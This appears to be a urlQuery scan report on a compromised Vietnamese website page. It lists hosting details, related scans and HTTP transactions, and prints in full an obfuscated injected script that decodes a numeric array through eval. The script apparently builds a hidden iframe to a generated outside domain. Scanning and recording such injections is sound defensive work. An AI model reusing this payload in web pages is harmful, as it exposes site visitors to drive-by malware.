Overview

URLhttp://duongmalt.com/TrangTinTuc.aspx?id=86
IP210.245.121.70
ASNAS18403 The Corporation for Financing & Promoting Technology
Location Vietnam
Report completed2012-10-27 19:44:24 CET
StatusLoading report..
urlQuery Alerts Detected malicious injected script


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 210.245.121.70

Date Alerts / IDS URL IP
2013-02-09 13:06:520 / 6http://asialift.com/scripts/ac_runactivecontent.js210.245.121.70
2013-02-07 06:40:470 / 8http://duongmalt.com/js/giavang.js210.245.121.70
2013-02-05 15:55:260 / 8http://duongmalt.com/js/tygia.js210.245.121.70
2013-02-05 15:54:560 / 8http://duongmalt.com/js/jquery.js210.245.121.70
2013-02-05 08:39:571 / 38http://duongmalt.com/TrangTinTuc.aspx?list=19210.245.121.70
2013-02-01 05:36:371 / 36http://duongmalt.com/TrangTinTuc.aspx?id=33210.245.121.70

Last 6 reports on ASN: AS18403 The Corporation for Financing & Promoting Technology

Date Alerts / IDS URL IP
2013-02-13 05:07:130 / 2http://aqskinvietnam.vn/118.69.195.62
2013-02-12 18:58:120 / 4http://tmsland.com.vn/img_gallery/script/mootools-1.2-more.js210.245.86.49
2013-02-12 18:04:210 / 6http://thuonghieuonline24h.com/210.245.86.53
2013-02-12 05:27:161 / 3http://www.tuvandoanhnghiep.com.vn/luat-chinh-sach/luat-thue-gia-tri-gia-tang-.html210.245.90.132
2013-02-12 05:23:321 / 1http://www.tuvandoanhnghiep.com.vn/tri-thuc-thong-tin/nobel-kinh-te-2011-thay-doi-nhan-thuc-ve- (...)210.245.90.132
2013-02-12 05:23:261 / 4http://www.tuvandoanhnghiep.com.vn/hop-tac-dau-tu/cho-thue-lai-hoac-chuyen-nhuong-tai-mot-so-kh (...)210.245.90.132

Last 6 reports on domain: duongmalt.com

Date Alerts / IDS URL IP
2013-02-07 06:40:470 / 8http://duongmalt.com/js/giavang.js210.245.121.70
2013-02-05 15:55:260 / 8http://duongmalt.com/js/tygia.js210.245.121.70
2013-02-05 15:54:560 / 8http://duongmalt.com/js/jquery.js210.245.121.70
2013-02-05 08:39:571 / 38http://duongmalt.com/TrangTinTuc.aspx?list=19210.245.121.70
2013-02-01 05:36:371 / 36http://duongmalt.com/TrangTinTuc.aspx?id=33210.245.121.70
2012-12-31 06:03:311 / 40http://duongmalt.com/TrangTinTuc.aspx?list=20210.245.121.70



JavaScript

Executed Scripts (7)

#2 JavaScript::Script (size: 7529, repeated: 1) - Alert detect on script (Severity: 2)

Unable to connect to pipe\\.\pipe\PSA_pipe {
    110D2F0F - F073 - 4021 - AB73 - C7886FB9BD1E
}




/*km0ae9gr6m*/
try {
    prototype % 2;
} catch (asd) {
    x = 2;
}
try {
    q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
    q.appendChild(q + "");
} catch (fwbewe) {
    i = 0;
    try {
        prototype * 5;
    } catch (z) {
        fr = "fromChar";
        f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
        v = "eva";
    }
    if (v) e = window[v + "l"];
    w = f;
    s = [];
    r = String;
    z = ((e) ? "Code" : "");
    for (; 1776 - 5 + 5 > i; i += 1) {
        j = i;
        if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
    }
    if (f) e(s);
} /*qhk6sa6g1c*/

Executed Evals (0)


Executed Writes (0)



HTTP Transactions (35)


Request Response 
GET /css/style.css HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: text/css

Last-Modified: Sun, 26 Jun 2011 13:43:54 GMT
Accept-Ranges: bytes
Etag: "8cf2617734cc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:17 GMT
Date: Sat, 27 Oct 2012 17:43:17 GMT
Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked
GET /js/jquery.js HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 7524
Last-Modified: Thu, 12 Jul 2012 22:08:53 GMT
Accept-Ranges: bytes
Etag: "e6eec5ec7a60cd1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:17 GMT
Date: Sat, 27 Oct 2012 17:43:17 GMT
GET /js/galleria-1.2.2.min.js HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 7529
Last-Modified: Fri, 13 Jul 2012 04:15:25 GMT
Accept-Ranges: bytes
Etag: "f83a8d20ae60cd1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:17 GMT
Date: Sat, 27 Oct 2012 17:43:17 GMT
GET /js/script.js HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 7526
Last-Modified: Thu, 12 Jul 2012 22:10:46 GMT
Accept-Ranges: bytes
Etag: "86ecad2f7b60cd1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:17 GMT
Date: Sat, 27 Oct 2012 17:43:17 GMT
GET /images/Bottom_texture.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 10216
Last-Modified: Wed, 15 Jun 2011 10:49:51 GMT
Accept-Ranges: bytes
Etag: "f2fbdff3492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:18 GMT
Date: Sat, 27 Oct 2012 17:43:18 GMT
GET /images/sheet_s.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 99
Last-Modified: Wed, 15 Jun 2011 10:50:05 GMT
Accept-Ranges: bytes
Etag: "d07052fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:25 GMT
Date: Sat, 27 Oct 2012 17:43:25 GMT
GET /images/sheet_v.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 99
Last-Modified: Wed, 15 Jun 2011 10:50:05 GMT
Accept-Ranges: bytes
Etag: "bcd173fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:25 GMT
Date: Sat, 27 Oct 2012 17:43:25 GMT
GET /Photos/19102011163954359.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 8192
Last-Modified: Wed, 19 Oct 2011 09:39:54 GMT
Accept-Ranges: bytes
Etag: "caab7ce438ecc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:25 GMT
Date: Sat, 27 Oct 2012 17:43:25 GMT
GET /Photos/16820121017662.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 8192
Last-Modified: Thu, 16 Aug 2012 03:17:06 GMT
Accept-Ranges: bytes
Etag: "a4d5e9d5d7bcd1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:25 GMT
Date: Sat, 27 Oct 2012 17:43:25 GMT
GET /images/nav.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 1056
Last-Modified: Wed, 15 Jun 2011 10:50:03 GMT
Accept-Ranges: bytes
Etag: "c45372fb492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:25 GMT
Date: Sat, 27 Oct 2012 17:43:25 GMT
GET /images/menuitem.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 1517
Last-Modified: Wed, 15 Jun 2011 10:50:00 GMT
Accept-Ranges: bytes
Etag: "9ef2aaf9492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:26 GMT
Date: Sat, 27 Oct 2012 17:43:26 GMT
GET /images/spacer.gif HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 43
Last-Modified: Wed, 15 Jun 2011 10:50:05 GMT
Accept-Ranges: bytes
Etag: "3a31b4fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:26 GMT
Date: Sat, 27 Oct 2012 17:43:26 GMT
GET /images/subitem.png HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 102
Last-Modified: Wed, 15 Jun 2011 10:50:06 GMT
Accept-Ranges: bytes
Etag: "72cdd0fc492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:26 GMT
Date: Sat, 27 Oct 2012 17:43:26 GMT
GET /Photos/1012012232649375.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/TrangTinTuc.aspx?id=86
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 16384
Last-Modified: Tue, 10 Jan 2012 16:26:49 GMT
Accept-Ranges: bytes
Etag: "4a453fa7b4cfcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:26 GMT
Date: Sat, 27 Oct 2012 17:43:26 GMT
GET /Images/VietNamFlag.jpg HTTP/1.1

Host: duongmalt.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://duongmalt.com/css/style.css
Cookie: ASP.NET_SessionId=znqfj2u0jdlhg555eiz5yo55
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 7994
Last-Modified: Wed, 15 Jun 2011 10:50:06 GMT
Accept-Ranges: bytes
Etag: "e25afd492bcc1:9b47a"
X-Powered-By: PleskWin, ASP.NET
Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate
Pragma: no-cache
Expires: Sat, 27 Oct 2012 17:43:26 GMT
Date: Sat, 27 Oct 2012 17:43:26 GMT
GET /Images/EnglishFlag.jpg HTTP/1.1

Host: duongmalt.com

